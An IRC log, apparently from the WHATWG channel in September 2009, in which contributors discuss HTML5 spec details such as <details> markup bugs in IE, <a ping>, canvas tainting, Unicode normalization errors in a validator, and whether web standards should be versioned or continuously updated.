[14:21:00.0000] <Hixie>
nor do most HTML5 features :-)

[14:24:00.0000] <TabAtkins>
k, I've sent the <dt> issue as a top-level thread, so people who've already muted the bikeshed conversations will be able to see it.  ^_^

[14:25:00.0000] <hsivonen>
Hixie: Wikipedia interprets your mozilla.org involvement as employment by Mozilla Foundation. that's incorrect, right?

[14:25:01.0000] <Hixie>
yeah i was employed by netscape for a year but other than that was just a mozilla contributor

[14:25:02.0000] <Hixie>
still am, occasionally :-)

[14:28:00.0000] <gsnedders>
/me sighs, biting his lip, wondering what to do

[14:28:01.0000] <TabAtkins>
gsnedders: Bite harder.

[14:29:00.0000] <gsnedders>
TabAtkins: I don't like the taste of blood, so no.

[14:29:01.0000] <Hixie>
hmm

[14:30:00.0000] <hsivonen>
Hixie: fixed

[14:30:01.0000] <Hixie>
/me ponders how to make the relextensions, metaextensions, and so on work

[14:30:02.0000] <Hixie>
hsivonen: thanks

[14:31:00.0000] <Hixie>
not that i'm particularly worried about what it says :-)

[14:32:00.0000] <gsnedders>
/me wishes he didn't have to make any decisions that had consequences for a prolonged period, ever

[14:33:00.0000] <Hixie>
you likely couldn't be especially useful to the human race or the universe as a whole if you didn't have to make decisions of consequence :-)

[14:33:01.0000] <TabAtkins>
gsnedders: In all seriousness, just go with whichever feels the best.  If you have the ability to research the decision, do so, but don't stress overly much about it.  You'll miss opportunities whichever way you decide, so just pick whichever feels best and don't look back.

[14:33:02.0000] <othermaciej>
gsnedders: what's your tough decision?

[14:33:03.0000] <gsnedders>
TabAtkins: I don't think you realize what sort of decision this is :)

[14:33:04.0000] <Hixie>
MetaExtensions, RelExtensions, and PragmaExtensions

[14:33:05.0000] <Hixie>
how should they work?

[14:34:00.0000] <othermaciej>
if I knew, I would have told you already

[14:35:00.0000] <and>
In case anyone is interested, the reasoning behind EOF inside tags causing the tag to be dropped are in <http://lists.w3.org/Archives/Public/public-html/2009Mar/0260.html>.

[14:35:01.0000] <and>
I forgot (at least) two issues yesterday:

[14:35:02.0000] <gsnedders>
othermaciej: Whether to tell one of my friends some things about his gf or not, which will almost certainly end any relationship between them. I know if I don't and if he ends up hurt (which I expect will happen) I'll blame myself for not doing anything, and if I do anything I'll be construed purely as jealous, and be disliked by some of my friends for splitting them up.

[14:36:00.0000] <and>
5) Are the different tokens emitted by the tokeniser defined anywhere?

[14:36:01.0000] <and>
6) At which point do attributes in end tags cause a parse error?

[14:36:02.0000] <gsnedders>
6) Any

[14:36:03.0000] <gsnedders>
Actually, I think when they are emitted.

[14:37:00.0000] <TabAtkins>
gsnedders: imxp, telling is usually better if it's something that the other person would actually like to know, had they the ability to (like someone cheating).  It can still cause a lot of hurt feelings, but shrug.  Gotta choose one way or the other.

[14:37:01.0000] <othermaciej>
gsnedders: sounds like something I shouldn't ask about further in a logged IRC channel

[14:37:02.0000] <hsivonen>
gsnedders: when emitted

[14:37:03.0000] <gsnedders>
othermaciej: Indeed :)

[14:37:04.0000] <gsnedders>
othermaciej: I was wondering for a while how to phrase it vaguely enough :)

[14:38:00.0000] <gsnedders>
TabAtkins: That'd be all right if it were as simple as what I made it seem, but I don't really want to be exact in a logged IRC channel.

[14:38:01.0000] <AryehGregor>
gsnedders, you could tell him anonymously so you don't look jealous.

[14:39:00.0000] <TabAtkins>
gsnedders: Wanna take it to private channel?

[14:39:01.0000] <gsnedders>
Like #omggsnedders?

[14:39:02.0000] <AryehGregor>
Obviously we need to start #gf-of-friend-of-gsnedders and reach consensus there before taking any action.

[14:39:03.0000] <AryehGregor>
Votes may be involved.

[14:39:04.0000] <gsnedders>
I was originally going to go for #omggsneddersisonaboutagirlagain

[14:40:00.0000] <gsnedders>
But that's over the length limit

[14:40:01.0000] <and>
Thanks.

[14:40:02.0000] <gsnedders>
and: 5) AFAIK No

[14:44:00.0000] <gsnedders>
/me heads off to #omggsnedders

[14:45:00.0000] <and>
They are defined, actually. (Wonder how I missed that.) End tag tokens even have attributes.

[14:47:00.0000] <and>
/me was surprised to find that &nbsb accounts for 88% of all unterminated character references in the dotnetdotcom dataset.

[14:47:01.0000] <and>
*nbsp

[14:50:00.0000] <jcranmer>
that low?

[14:50:01.0000] <Philip`>
and: Presumably based on combined number of occurrences, not number of pages?

[14:50:02.0000] <and>
Yes, but even so.

[14:50:03.0000] <Philip`>
Actually, I suppose that's an unjustified presumption

[14:50:04.0000] <Philip`>
because the most common error is <a href=foo?x=1&y=2> but that's going to be spread over a wide range of strings

[14:52:00.0000] <and>
Only those that are interpreted as characters (according to HTML5 and IE) are counted.

[14:52:01.0000] <Philip`>
Ah

[14:52:02.0000] <and>
Next step will be to look at the ones which could have been.

[14:52:03.0000] <Philip`>
(Hmm, the only similar data I seem to have is http://philip.html5.org/data/entities-without-semicolon-followed-by-equals.txt which isn't very relevant)

[15:17:00.0000] <TabAtkins>
Is there reason to believe that <a ping> won't work?

[15:17:01.0000] <TabAtkins>
Is it fear that browser vendors won't implement it?

[15:21:00.0000] <othermaciej>
"won't work" in what sense?

[15:22:00.0000] <othermaciej>
there are two ISSUEs outlining specific objections

[15:22:01.0000] <TabAtkins>
/me goes to look them up.

[15:22:02.0000] <othermaciej>
http://www.w3.org/html/wg/tracker/issues/1

[15:22:03.0000] <othermaciej>
http://www.w3.org/html/wg/tracker/issues/2

[15:22:04.0000] <TabAtkins>
I'm just going on Julian's objection in the latest comment to that bug.

[15:24:00.0000] <TabAtkins>
Ooh, didn't realize that FF had implemented ping.

[15:26:00.0000] <othermaciej>
they did, but their implementation is disabled currently

[15:26:01.0000] <othermaciej>
it's also been proposed for WebKit (and thus for Chrome and Safari)

[15:26:02.0000] <othermaciej>
so far we have no public expression of interest from content authors

[15:26:03.0000] <TabAtkins>
You can have one now: I'd like it.

[15:27:00.0000] <othermaciej>
which means browsers that implement it may be accused of privacy badness, but without delivering an actual user experience benefit

[15:27:01.0000] <othermaciej>
you should post to that effect on public-html, though it would carry more weight if it was from a major web site...

[15:27:02.0000] <TabAtkins>
Specifically for the purpose of tracking how often particular resources are requested, so we can tell which instructional PDFs are most popular and do more along that vein.

[15:28:00.0000] <TabAtkins>
Well, I can say it as my company's webmaster.  ^_^

[15:29:00.0000] <Hixie>
i just redefined how the registries work

[15:30:00.0000] <Hixie>
if anyone wants to go ahead and act as gardener for the wiki pages, please go ahead

[15:30:01.0000] <Hixie>
the new process is a lot simpler

[16:21:00.0000] <alyoshka>
since dd has padding already, wouldn't it make sense to drop the details {padding-left: 40px;} when emulating support in current browsers?

[16:22:00.0000] <alyoshka>
using padding-left in IE 7 makes for some really weird behavior

[16:22:01.0000] <AryehGregor>
dd in details is probably going to die, see TabAtkins' post to the list.

[16:23:00.0000] <TabAtkins>
The weird behavior you notice is probably a result of the behavior noted in my post (discovered by Leif, not me).

[16:23:01.0000] <TabAtkins>
And yes, confirmed.

[16:24:00.0000] <alyoshka>
most likely; I haven't done thorough testing, but details/dt/dd does some very weird things in my basic tests so far

[16:27:00.0000] <TabAtkins>
Yeah, it's because IE6 and 7, whenever they encounter a dd or dt not in a dl, treat the entire rest of the document as children of the dt/dl for CSS purposes.

[16:29:00.0000] <TabAtkins>
Or rather, upon further testing, treat the rest of the document *up to the next dt/dd* as being children.

[16:29:01.0000] <alyoshka>
yeah, that's true, though IE 7 seems to have it worse than IE 6. Thing is, it has other problems in those browsers as well as Konqueror

[16:29:02.0000] <TabAtkins>
(and then that next dt/dd treats the next section as children)

[16:29:03.0000] <TabAtkins>
What other problems?

[16:30:00.0000] <alyoshka>
it has strange interactions with real <dl>s

[16:30:01.0000] <alyoshka>
though I haven't nailed the exact problem yet

[16:31:00.0000] <alyoshka>
I'm suspecting it could cause further trouble in more complex documents later, so I didn't see much point in testing further

[16:45:00.0000] <alyoshka>
TabAtkins: where can I read your post about it. I didn't find it in the mailing list archives for some reason.

[16:45:01.0000] <TabAtkins>
Are you looking in the whatwg archives or the html-wg archives?  It's in the latter.

[16:45:02.0000] <alyoshka>
whatwg :D

[16:45:03.0000] <alyoshka>
thanks


2009-09-19
[17:08:00.0000] <alyoshka>
you know,<details><legend> was more workable in IE than <details><dt><dd>, but unworkable in Firefox

[17:09:00.0000] <alyoshka>
I actually got <details><legend> working in IE (with a rather large chunk of Javascript) pretty reliably, except for CSS styling

[17:10:00.0000] <alyoshka>
though <legend> was still a bad idea

[17:29:00.0000] <annevk42>
Lachy, you could prolly add a note that it's intentionally invalid

[19:16:00.0000] <heycam>
boo, minefield nightlies don't work on Tiger any more :(

[19:18:00.0000] <heycam>
i guess it would've been nice for the updater to refuse to do the update...

[19:42:00.0000] <jwalden>
heycam: you're not the only one, although I'll be off my 10.4 machine in a few days

[20:14:00.0000] <heycam>
jwalden, yeah i guess everything's pushing me to buy snow leopard :/

[20:27:00.0000] <othermaciej>
snowkitty is cheap, if you have an intel system

[20:56:00.0000] <jwalden>
and if you're already on 10.5

[20:57:00.0000] <jwalden>
I'm a bit RAM-challenged lately so I kind of need a new machine anyway

[21:01:00.0000] <heycam>
i've got an old-ish mac mini (core duo 1.5ghz i think)

[21:01:01.0000] <heycam>
hopefully it takes well to SL

[21:01:02.0000] <heycam>
and i've heard that you can just install SL on to a blank hard disk without needing leopard

[02:03:00.0000] <Philip`>
/me sees http://www.ebusiness-unibw.org/wiki/Rdfa4google

[02:04:00.0000] <Philip`>
I wonder if they're aware that Google doesn't even parse application/xhtml+xml pages with an XML parser, never mind processing <!ENTITY definitions

[02:05:00.0000] <Philip`>
(Actually that's just for their normal search results, I haven't tested how their Rich Snippets thing parses XHTML pages...)

[02:44:00.0000] <othermaciej>
using entities in curies is, I think, more indirection than I have ever seen to produce what is ultimately an opaque identifier string

[02:49:00.0000] <Hixie>
heycam: make sure you have at least a gig of ram, "snowkitty" won't install on my old mac mini

[02:51:00.0000] <Philip`>
It's not opaque, you can dereference http://purl.org/goodrelations/v1#hasOpeningHoursDayOfWeek to find out all about it (in a non-machine-readable format at least)

[02:52:00.0000] <Philip`>
Oh, actually it does some kind of content negotiation so I get the non-machine-readable version, while the W3C Validator gets RDF

[03:06:00.0000] <heycam>
Hixie, yeah i've got 1.5GB

[03:25:00.0000] <Philip`>
Hmm, I was wrong about how the Rich Snippets thing parses pages, it's seemingly not the same as used for search results etc

[03:25:01.0000] <Philip`>
It's not the same as any proper HTML parser, or any proper XML parser, either

[03:26:00.0000] <Philip`>
It seems to be kind of an error-correcting XML parser - <p><p> results in nested elements, <div/> results in a closed element, &alpha; works (with no declared doctype), entities defined in doctypes are ignored

[03:27:00.0000] <Philip`>
and it uses the same parser for text/html and application/xhtml+xml

[03:31:00.0000] <Hixie>
how do you determine that it isn't the parser used for search results?

[03:31:01.0000] <Hixie>
(just curious, i actually don't know if it is or not)

[03:35:00.0000] <Philip`>
Hmm, actually I don't know

[03:36:00.0000] <Philip`>
I assumed I'd tested it or something, but seemingly I haven't, so I could be wrong

[03:36:01.0000] <Philip`>
I suppose I also assume Google wouldn't use something so unlike an HTML parser for something serious like search results

[03:40:00.0000] <Hixie>
you also assumed that the rdfa processing would have some relationship to the rdfa spec

[03:46:00.0000] <Philip`>
Sure, but that's an experimental new implementation with approximately zero users, vs a mature decade-old technology with a billion users

[03:46:01.0000] <Philip`>
so I still cling to hope

[03:54:00.0000] <Hixie>
can someone please explain to me why the server sorts this table differently if i view it chrome than if i view it in safari?:

[03:54:01.0000] <Hixie>
http://www.w3.org/Bugs/Public/buglist.cgi?query_format=advanced&short_desc_type=allwordssubstr&short_desc=&product=HTML+WG&product=WebAppsWG&component=HTML5+Spec+bugs&component=HTML5+Spec+proposals&component=Web+Storage&long_desc_type=allwordssubstr&long_desc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=R

[03:54:02.0000] <Hixie>
that's the "Bugs" link on http://damowmow.com/portal under "Daily"

[04:41:00.0000] <Hixie>
ok i really should go to bed

[04:41:01.0000] <Hixie>
nn

[05:43:00.0000] <hsivonen>
http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0183.html

[06:42:00.0000] <Dashiva>
hsivonen: IE "works" because it doesn't support XHTML, I guess?

[07:55:00.0000] <eighty4>
I realize this might not be the correct channel to ask this, if there's a better channel to ask in please point me to it :). When trying to validate my html5 code at http://html5.validator.nu/ I'm getting "Text run is not in Unicode Normalization Form C." errors for my åäö:s When manually retyping them in the text field for the validator the error goes away. What encoding in my document should I be using to remove this errors?

[07:56:00.0000] <Micheil>
eighty4: hmm... I think you should be using entities, over encoded characters

[07:56:01.0000] <gsnedders>
It's not the character set that is at fault, but the encoding of the character set. There are multiple ways to represent characters like å in Unicode. How you force NFC depends on what your editor is :)

[07:57:00.0000] <hsivonen>
eighty4: you can continue to use UTF-8. how did you create the content

[07:57:01.0000] <hsivonen>
?

[07:57:02.0000] <eighty4>
hsivonen: coda using utf-8

[07:57:03.0000] <hsivonen>
eighty4: problem with coda then

[07:58:00.0000] <Lachy>
eighty4, look for an option in your editor to save the document in UTF-8 with NFC normalisation.

[07:58:01.0000] <eighty4>
gsnedders: shouldn't a web-dev editor be setup to work properly from the start?

[07:58:02.0000] <eighty4>
>< stupid coda

[07:58:03.0000] <Lachy>
eighty4, ideally, yes. Unfortunately, not always in practice

[07:58:04.0000] <gsnedders>
/me wonders why it's not using NFC

[07:59:00.0000] <eighty4>
none of the encoding options say anything about nfc :/

[08:00:00.0000] <hsivonen>
eighty4: anything about precomposed vs. decomposed?

[08:01:00.0000] <eighty4>
http://screencast.com/t/PlyND9jmqHT is the only related thing I can find

[08:02:00.0000] <eighty4>
doesn't seem to be a forum for coda. Just an email address.

[08:03:00.0000] <hsivonen>
eighty4: did you copy and paste the text from the FInder by any chance?

[08:03:01.0000] <eighty4>
hsivonen: from within coda

[08:05:00.0000] <eighty4>
but I guess it could be an os x problem

[08:05:01.0000] <hsivonen>
eighty4: try filing a bug on Coda

[08:05:02.0000] <hsivonen>
eighty4: this is relatively easy to get wrong with Cocoa. Apple once shipped Preview.app with a bug like this

[08:16:00.0000] <eighty4>
no apps seems to actually say what they use.

[08:22:00.0000] <eighty4>
textmate does handle it ok. Guess it's a problem with coda then.

[08:28:00.0000] <eighty4>
there. mail sent to the coda devs

[09:49:00.0000] <abarth>
Hixie: do you remember off hand how canvas tainting interacts with document.domain?

[09:51:00.0000] <abarth>
looks like it ignores document.domain

[10:01:00.0000] <annevk42>
abarth, document.domain only affects few things

[10:01:01.0000] <abarth>
great

[10:01:02.0000] <abarth>
just want to make sure i'm fixing this the right way

[10:02:00.0000] <annevk42>
the idea is to make document.domain not affect more than needed

[10:03:00.0000] <abarth>
oh, yeah, i'm definitely in favor of that

[10:03:01.0000] <abarth>
the current code in webkit was taking document.domain into account

[10:03:02.0000] <abarth>
(and also screwing up on data URLs)

[10:03:03.0000] <abarth>
so I'm fixing both bugs while i'm at it

[10:49:00.0000] <annevk42>
abarth, ah, I think I filed a bug on that once

[10:49:01.0000] <annevk42>
abarth, on WebKit that is

[10:50:00.0000] <abarth>
annevk42: well, it's about to get fixed :)

[12:09:00.0000] <gsnedders>
How can you simplify 9/8+x^2(9/4-3)+x^4(9/8-1) ?


2009-09-20
[02:59:00.0000] <annevk2>
maybe that's why the IETF folks don't like to reuse URL as term :)

[05:05:00.0000] <krijnh>
I know

[07:39:00.0000] <annevk42>
whoa, logs fail? :)

[07:43:00.0000] <krijnh>
Yeyeah

[07:43:01.0000] <krijnh>
Seems to be working now again

[07:44:00.0000] <annevk2>
all the conspiracy once again lost o_O

[09:39:00.0000] <masinter>
/me wonders what happened to the whatwg irc log from yesterday

[09:40:00.0000] <Dashiva>
Quits: krijnh (n=krijnhoe⊙kxn) (Read error: 110 (Connection timed out))

[09:41:00.0000] <Dashiva>
That happened, over and over

[09:44:00.0000] <annevk42>
prolly someone with backups can help krijnh fix it if he wants to

[09:48:00.0000] <Dashiva>
All he has to do is ask :)

[10:08:00.0000] <krijn>
*asks*

[10:08:01.0000] <krijn>
In fact, all you have to do is ask :)

[10:08:02.0000] <krijn>
I don't really read the logs

[10:30:00.0000] <Steve^>
The feedback from MS seems to be largely, "are you sure these are the right tags?"

[10:31:00.0000] <Steve^>
Which after years of discussion, whatwg could only ever answer yes without looking like idiots

[10:40:00.0000] <annevk42>
good that we're not a single entity then :)

[10:50:00.0000] <masinter>
you know, you'd do better if you took "are you sure these are the right tags?" to mean "these tags look wrong, why do you think they are right?"

[10:50:01.0000] <masinter>
sometimes people are, amazingly, trying to be polite

[10:51:00.0000] <JoePeck>
Any thoughts on why there is document.body but no document.head? Lots of developers append styles, etc to the head of a page and they waste time with getElementsByTagName('head'). Was this ever discussed before?

[10:57:00.0000] <JoePeck>
although it looks like "document.head" shows up in the WHATWG mailing list a few times

[10:59:00.0000] <JoePeck>
it doesn't show up in the IDL for document in the spec

[11:14:00.0000] <masinter>
Steve: not everything in the spec is the result of years of discussion, is it?

[11:14:01.0000] <Steve^>
I couldn't say the age of anything

[11:17:00.0000] <masinter>
but you did, "Which after years of discussion, whatwg could only ever answer yes"

[11:18:00.0000] <Steve^>
I do know that some elements are of significant age, given mailing list posts I've seen

[11:19:00.0000] <masinter>
the elements Microsoft asked about?

[11:20:00.0000] <Steve^>
the section, article, nav, header, footer have been set for some time?

[11:20:01.0000] <Steve^>
The content models are the area of HTML5 I am most familiar with

[11:21:00.0000] <Steve^>
as I see the greatest value coming from them

[11:23:00.0000] <hsivonen>
masinter: section, article, nav and footer have been around for a relatively long time

[11:29:00.0000] <masinter>
if new elements from HTML4 are puzzling to MS, then some justification or pointers to the discussions about them seem like they would be useful. Just saying "these have been here for years" isn't very helpful.

[11:30:00.0000] <Steve^>
I disagree somewhat. If the wg has no problem with them for a substantial amount of time, what gives MS the right to come along towards the end of the drafting stage and use its commercial power to try and change things?

[11:33:00.0000] <Steve^>
I can't find a proper reference to @cite in the spec. It is mentioned and exampled, but only within the q element. It is not clear it can be used on section and other elements

[11:37:00.0000] <Steve^>
Infact, the spec says it cannot be. Only MS's example suggests otherwise

[11:39:00.0000] <erlehmann>
masinter, ms hasn't really tried to get involved in the process, not even in blocking terms like apple :i

[11:40:00.0000] <masinter>
if you throw away all the organizational politics, the question is: are these good, justified additions to HTML

[11:40:01.0000] <masinter>
every new feature has an amazing implementation cost for all kinds of HTML interpreters

[11:40:02.0000] <masinter>
i mean, if you care about all of the HTML implementations in the world and not just the WhatWG browsers or the "Major browsers"

[11:41:00.0000] <Steve^>
of course, but they don't have to implement it, just as many developers won't use the new features

[11:41:01.0000] <masinter>
so additions or changes to the language have a big cost -- even if Apple and WebKit and Mozilla and Opera and a few others have implemented

[11:41:02.0000] <masinter>
no, not if you want to be a conforming implementation

[11:41:03.0000] <Steve^>
But by having an official specification with the options available, developers and UAs can use these features when possible

[11:42:00.0000] <Steve^>
I'm thinking of screenreaders interpreting nav. They might not, but from seeing things at standards.next, they need to

[11:42:01.0000] <Steve^>
It hits a user requirement right on the head

[11:42:02.0000] <masinter>
well, look at http://en.wikipedia.org/wiki/List_of_HTML_editors

[11:42:03.0000] <masinter>
so here are a bunch of editors of HTML

[11:43:00.0000] <masinter>
every element you add is something that every editor needs to add if it's going to be a good HTML editor

[11:43:01.0000] <Steve^>
if a text editor finds that task difficult, they're doing something wrong

[11:44:00.0000] <masinter>
you think so?

[11:45:00.0000] <Steve^>
considering good text editors are designed to allow user-submitted language highlighting, then yes

[11:45:01.0000] <masinter>
these aren't all "text editors", some people actually try to build editors that know about the markup language they're editing

[11:45:02.0000] <masinter>
perhaps you're only familiar with text editing HTML? 

[11:45:03.0000] <masinter>
but there's a long list of WYSIWYG editors there too

[11:45:04.0000] <Steve^>
are there any elements in particular you see being a problem?

[11:46:00.0000] <masinter>
i'm just commenting on why it would be good to take MS comments seriously, and not just dismiss them as "we've talked about these for years"

[11:47:00.0000] <Steve^>
At the same time, you need to make steps forwards

[11:48:00.0000] <masinter>
of course, it's just that there's a balance

[12:12:00.0000] <Philip`>
Steve^: "If the wg has no problem with them for a substantial amount of time, ..." - that doesn't seem a very good argument - if somebody pointed out a serious problem or provided some new data, that should be taken fully into consideration even if nobody else noticed the issues for years

[12:12:01.0000] <Steve^>
sure, that's fine

[12:13:00.0000] <Steve^>
as long as they do that, rather than sound unsure

[12:15:00.0000] <Philip`>
Indeed, if they just say "I don't think this sounds like a good idea" then it's not actionable feedback, given that decisions supposedly aren't made on the basis of popularity at all

[12:24:00.0000] <erlehmann>
masinter, what new exements are bothering you at all?

[14:21:00.0000] <annevk42>
masinter, fwiw, I agree with you

[14:23:00.0000] <annevk42>
masinter, I haven't followed that discussion closely enough as most discussions about semantics seem to turn into some bikeshed discussion that eats my time, but I thought I did see some replies that tried to justify why the elements where there

[14:23:01.0000] <annevk42>
s/where/were/

[14:24:00.0000] <Steve^>
annevk2, they tried to? did they succeed?

[14:26:00.0000] <annevk42>
I don't think the thread concluded

[14:27:00.0000] <annevk42>
for the one I did follow Adrian said he'd follow up next week (regarding <keygen>)

[14:27:01.0000] <annevk42>
I believe he said they supported <video> and <audio>

[14:28:00.0000] <annevk42>
<dialog> actually got dropped in response to feedback and has been there for a long time too

[14:28:01.0000] <annevk42>
taking a fresh look at elements every couple of years is not a bad thing at all imo

[14:28:02.0000] <annevk42>
we did exactly the same thing with HTML4 elements and attributes

[14:29:00.0000] <annevk42>
it'd be a bit weird if we didn't allow the same scrutiny for additions

[14:31:00.0000] <masinter>
well, it's some work, but the "differences from HTML4" document might be a good place to put whatever people have

[14:32:00.0000] <masinter>
i haven't looked closely at tool implementation impact

[14:41:00.0000] <annevk42>
masinter, yeah, one day I should put a bit more effort into that doc than simply updating it along the same old tune the initial draft was based on

[14:45:00.0000] <Steve^>
what HTML5 elements can the cite attribute be used on?

[14:46:00.0000] <Hixie>
same as html4, q, blockquote, ins, and del

[14:46:01.0000] <Steve^>
fair enough

[14:47:00.0000] <Steve^>
the guy from MS is crazy then

[14:47:01.0000] <Hixie>
it changed after they sent their feedback

[14:47:02.0000] <Hixie>
partiall in response to their feedback

[14:47:03.0000] <Steve^>
ahh

[14:48:00.0000] <Steve^>
nevermind then

[14:48:01.0000] <gsnedders>
bq! bq! don't forget bq!

[14:49:00.0000] <gsnedders>
(Opera uses some interface with the cite attribute in the DOM for bq)

[14:49:01.0000] <Steve^>
I feel there should be an alias for q called quote

[14:50:00.0000] <gsnedders>
(bq was in HTML 3, Opera is the only browser that does anything with it)

[14:50:01.0000] <gsnedders>
(Also, Opera's implementation is broken.)

[14:51:00.0000] <Steve^>
of all the elements in 4.5 of the spec, blockquote is the only one with a long name

[14:52:00.0000] <Steve^>
so that should be aliased to bq

[14:52:01.0000] <da3d>
I want a <bbq> tag :)

[14:52:02.0000] <Steve^>
:D

[14:52:03.0000] <gsnedders>
Steve^: Parsing differences in legacy UAs, and different styling.

[14:53:00.0000] <Steve^>
Is <summary> coming back?

[14:53:01.0000] <Steve^>
gsnedders, hmm?

[14:53:02.0000] <Steve^>
oh, bq is an actual element too?

[14:57:00.0000] <Steve^>
So HTML2 had blockquote, HTML3 has bq and now HTML5 has blockquote

[15:02:00.0000] <Hixie>
HTML3 was never more than a draft

[15:03:00.0000] <Philip`>
HTML5 has never been more than a draft

[15:03:01.0000] <Hixie>
indeed

[15:05:00.0000] <masinter>
the status of a document in some standards group is interesting, but a lot of people are confused about the names like 'a draft' or 'a standard' or 'a draft standard'

[15:06:00.0000] <masinter>
while the IETF and W3C names are confusing, the WhatWG names aren't better

[15:06:01.0000] <Hixie>
yeah

[15:06:02.0000] <Hixie>
we really should just move to an always-on mechanism

[15:06:03.0000] <Hixie>
instead of the snapshot mechanism

[15:06:04.0000] <masinter>
as far as differences go, there are 'differences with spec X' and then 'differences with implementations A, B, C'

[15:07:00.0000] <masinter>
i don't think always-on makes sense

[15:07:01.0000] <masinter>
very few organizations are willing to provide funding for always-on

[15:07:02.0000] <Hixie>
for a platform evolving like the web's, i think it's the practical reality anyway

[15:07:03.0000] <masinter>
because it means a continual support not just for products, but for specifications

[15:07:04.0000] <Hixie>
i'm happy to pay for the whatwg site out of pocket as i have so far

[15:07:05.0000] <masinter>
it's not the dollar cost, it's the personnel cost

[15:08:00.0000] <Hixie>
oh well we're paying that cost anyway in practice

[15:08:01.0000] <masinter>
it's better if products compete on their technology and not on control of the interfaces

[15:08:02.0000] <Hixie>
and whenever we've stopped paying that cost -- DOM3, HTML4 -- it's been a disaster that's cost us far more on the long run

[15:08:03.0000] <Hixie>
i should say, as after DOM3 and after HTML4

[15:09:00.0000] <masinter>
i think there are hundreds, thousands of industries which have a practice of infrequent upgrade of standards

[15:09:01.0000] <Hixie>
not DOM3 and HTML4 themselves

[15:09:02.0000] <Hixie>
sure, i'm just talking about HTML, the DOM, and CSS

[15:09:03.0000] <Hixie>
for most industries it obviously makes no sense to keep evolving the specs

[15:09:04.0000] <Hixie>
imagine what mess that would be for power sockets, e.g. :-)

[15:09:05.0000] <masinter>
there's no intrinsic reason why web standards should be completely different from almost every other distributed set of interfaces

[15:10:00.0000] <Hixie>
the difference is platforms vs individual features

[15:10:01.0000] <masinter>
or that keeping web standards up to date should require every organizaiton that wants to participate to dedicate multiple full-time resources ot tracking the interfaces

[15:10:02.0000] <Hixie>
the practical reality is that they have to already

[15:10:03.0000] <masinter>
the idea of a "platform" is an architectural vision

[15:11:00.0000] <masinter>
I understand you have that opinion

[15:11:01.0000] <masinter>
but just saying that your opinion is the "practical reality" doesn't really help, especially when that view doesn't match most other industries and standards practices

[15:11:02.0000] <Hixie>
i'm only talking about this industry, not others

[15:11:03.0000] <Hixie>
i agree that it's not the case in other industries

[15:12:00.0000] <Hixie>
and that it should not be in most

[15:12:01.0000] <masinter>
so what industry is Apple in?

[15:12:02.0000] <Steve^>
I dislike always-on, I think vendors want to say they fully support HTML5 and compete in that fashion

[15:12:03.0000] <Hixie>
but it _is_ the case for software platforms, like windows, or mac, or the web

[15:12:04.0000] <masinter>
what industry is Google in?

[15:12:05.0000] <Hixie>
Steve^: they haven't historically

[15:12:06.0000] <Steve^>
By continually updating the spec, they may miss out features for longer periods

[15:12:07.0000] <Hixie>
masinter: both are in many industries

[15:12:08.0000] <masinter>
is Google in the Web industry, or is Google in the Internet service industry?

[15:12:09.0000] <Hixie>
Steve^: why?

[15:12:10.0000] <Hixie>
masinter: both, and many more

[15:13:00.0000] <masinter>
so if you make, say, a cell phone operating system

[15:13:01.0000] <masinter>
and as a product it implements some interfaces

[15:13:02.0000] <Steve^>
If I get lots of bits of homework, I don't do them in the order they arrive. Whereas you would need to do HTML 5 then 5.1 then 5.2, etc

[15:13:03.0000] <masinter>
some web, some voice over IP, some instant messaging, some calendaring, some geolocation, etc.

[15:13:04.0000] <masinter>
are you saying that all of those need "always on" standards activities to maintain compatibility between Nokia, Apple and Google?

[15:14:00.0000] <masinter>
or just the web ones?

[15:14:01.0000] <Steve^>
I suppose CSS shows that isn't how it works

[15:14:02.0000] <masinter>
i suppose I should add Opera

[15:14:03.0000] <masinter>
it's not clear what CSS "shows"

[15:15:00.0000] <masinter>
standards activities don't work well when the players don't agree to play

[15:15:01.0000] <Hixie>
Steve^: right now, browser vendors are continually adding new features from whatever the latest specs are that they want to support, ignoring the version numbers, and ignoring features they don't want to support

[15:16:00.0000] <Hixie>
masinter: just the web and other platforms. e.g. the iPhone platform, if it was a standard, would be one that i would not bother giving a version number to

[15:16:01.0000] <Hixie>
masinter: but the USB connector is a standard that makes sense to version

[15:17:00.0000] <Hixie>
masinter: because you don't want any variety on that connector for a period of many years

[15:17:01.0000] <masinter>
the word 'platform' is used with such variability that it's useful to be more precise about what you mean

[15:17:02.0000] <Hixie>
a set of APIs and other features on which applications and content can be based

[15:17:03.0000] <masinter>
that's not how i use the word

[15:18:00.0000] <Hixie>
some things, like connectors, provide value when they are ubiquitous and unchanging over time

[15:18:01.0000] <masinter>
http://en.wikipedia.org/wiki/Platform_%28computing%29

[15:18:02.0000] <masinter>
i dont like that too much either

[15:19:00.0000] <masinter>
the usage that makes sense to me is one i read a long time ago: there are implementations, interfaces, and platforms

[15:19:01.0000] <Hixie>
others, like sets of APIs, derive value from offering the features their content and application providers need, and there is no need for the feature sets from different interpreters being in lock-step, so long as the common subset is interoperable

[15:19:02.0000] <masinter>
a language, protocol, API are all interfaces

[15:19:03.0000] <masinter>
HTML, URI, HTTP are all interfaces that are essential to the web "platform"

[15:19:04.0000] <Hixie>
so for the former, i think versioning is important, and for the latter, i think just continous improvement would be better

[15:20:00.0000] <masinter>
what distinguishes a platform from an interface is that a platform has multiple interfaces, any one of which can evolve independently of the other

[15:20:01.0000] <masinter>
you want interoperability across different implementations of individual interfaces

[15:21:00.0000] <masinter>
so that you can replace your HTTP server or your HTTP protocol stack on the client, without having to make sure it matches the other side of the client/server interface

[15:21:01.0000] <Hixie>
gotta go now, we're going to play TI3

[15:21:02.0000] <masinter>
it's easier to talk about versioning if we get straight about terminology

[15:21:03.0000] <Hixie>
bbl

[15:23:00.0000] <masinter>
whether interface versions have version 'numbers' is a separate issue, but upgrading the interface is more costly and requires coordination, while upgrading the implementations without upgrading the interfaces doesn't 

[16:59:00.0000] <masinter>
/me wonders, "is this thing on?"

[16:59:01.0000] <gsnedders>
/me notes there is a certain randomness to how busy this channel is, but seems to be busiest when both Europe and America is awake


2009-09-21
[17:00:00.0000] <gsnedders>
s/is/are/

[17:00:01.0000] <masinter>
midnight in CET?

[17:00:02.0000] <gsnedders>
midnight in BST at the moment

[17:00:03.0000] <mitnavn_>
It's 1AM here

[17:00:04.0000] <mitnavn_>
CET

[17:01:00.0000] <gsnedders>
mitnavn_: No, you're CEST :P

[17:01:01.0000] <mitnavn_>
True

